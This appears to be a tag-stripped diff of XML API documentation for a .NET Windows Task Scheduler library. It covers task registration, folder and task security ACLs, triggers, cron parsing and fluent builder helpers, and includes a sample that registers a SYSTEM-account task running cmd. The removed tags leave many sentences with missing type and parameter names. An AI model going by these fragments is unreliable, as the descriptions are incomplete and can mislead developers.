the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task 